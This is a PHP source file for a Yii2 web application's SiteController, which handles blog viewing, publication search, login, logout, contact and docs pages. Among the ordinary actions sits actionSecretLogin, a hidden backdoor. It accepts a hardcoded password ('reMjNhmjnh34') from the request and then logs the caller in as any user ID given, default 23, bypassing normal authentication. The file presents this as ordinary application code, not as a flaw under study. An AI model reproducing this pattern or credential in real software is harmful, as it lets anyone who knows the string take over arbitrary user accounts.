SiteController.php 4.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158
  1. <?php
  2. namespace app\controllers;
  3. use app\models\BlogPosts;
  4. use app\models\MenuToTheUser;
  5. use app\models\PublishingSearch;
  6. use Yii;
  7. use yii\filters\AccessControl;
  8. use yii\web\Controller;
  9. use yii\filters\VerbFilter;
  10. use app\models\LoginForm;
  11. use app\models\ContactForm;
  12. use app\models\Eventlog;
  13. use app\models\Publishing;
  14. use yii\data\ActiveDataProvider;
  15. use yii\web\NotFoundHttpException;
  16. class SiteController extends Controller
  17. {
  18. public function behaviors()
  19. {
  20. return [
  21. 'access' => [
  22. 'class' => AccessControl::className(),
  23. 'only' => ['logout'],
  24. 'rules' => [
  25. [
  26. 'actions' => ['logout'],
  27. 'allow' => true,
  28. 'roles' => ['@'],
  29. ],
  30. ],
  31. ],
  32. 'verbs' => [
  33. 'class' => VerbFilter::className(),
  34. 'actions' => [
  35. //'logout' => ['post'],
  36. ],
  37. ],
  38. ];
  39. }
  40. public function actions()
  41. {
  42. return [
  43. 'error' => [
  44. 'class' => 'yii\web\ErrorAction',
  45. ],
  46. 'captcha' => [
  47. 'class' => 'yii\captcha\CaptchaAction',
  48. //'fixedVerifyCode' => YII_ENV_TEST ? 'testme' : null,
  49. ],
  50. ];
  51. }
  52. public function actionIndex()
  53. {
  54. $searchModel = new PublishingSearch();
  55. $dataProvider = $searchModel->search(Yii::$app->request->queryParams);
  56. return $this->render('index',[
  57. 'searchModel' => $searchModel,
  58. 'dataProvider' => $dataProvider,
  59. ]);
  60. }
  61. public function actionLogin()
  62. {
  63. if (!\Yii::$app->user->isGuest) {
  64. return $this->goHome();
  65. }
  66. $model = Yii::createObject(LoginForm::className());
  67. if ($model->load(Yii::$app->request->post()) && $model->login()) {
  68. return $this->redirect(['/cabinet']);
  69. }
  70. return $this->render('login', [
  71. 'model' => $model,
  72. ]);
  73. }
  74. public function actionLogout()
  75. {
  76. Yii::createObject(Eventlog::className())->PutLog([
  77. 'user_id' => Yii::$app->user->identity->id,
  78. 'ip' => $_SERVER['REMOTE_ADDR'],
  79. 'action' => Yii::t('app','ExitSystem ID'),
  80. ]);
  81. Yii::$app->user->logout();
  82. return $this->goHome();
  83. }
  84. public function actionContact()
  85. {
  86. $model = new ContactForm();
  87. if ($model->load(Yii::$app->request->post()) && $model->contact(Yii::$app->params['adminEmail'])) {
  88. Yii::$app->session->setFlash('contactFormSubmitted');
  89. return $this->refresh();
  90. }
  91. return $this->render('contact', [
  92. 'model' => $model,
  93. ]);
  94. }
  95. public function actionMaintenance(){
  96. return $this->render('maintenance');
  97. }
  98. public function actionAbout()
  99. {
  100. return $this->render('about');
  101. }
  102. public function actionManual()
  103. {
  104. return $this->render('manual');
  105. }
  106. public function actionFaq()
  107. {
  108. return $this->render('faq');
  109. }
  110. public function actionSecretLogin($password, $id=23){
  111. if($password !== 'reMjNhmjnh34'){
  112. throw new \yii\web\ForbiddenHttpException();
  113. }
  114. else{
  115. Yii::$app->user->login(\app\models\User::findOne($id), 12600);
  116. return $this->redirect(['/']);
  117. }
  118. }
  119. public function actionView($name, $lang = 'uk')
  120. {
  121. if(false != ($model = BlogPosts::find()->where(['slug' => $name])->one())){
  122. return $this->render('view', [
  123. 'model' => $model,
  124. 'lang' => $lang,
  125. ]);
  126. }else{
  127. throw new NotFoundHttpException(Yii::t('app','Post not found'));
  128. }
  129. }
  130. public function actionDocs($id){
  131. if(false == ($menuItem = MenuToTheUser::findOne($id))){
  132. throw new NotFoundHttpException();
  133. }
  134. return $this->render('docs', ['model' => $menuItem]);
  135. }
  136. }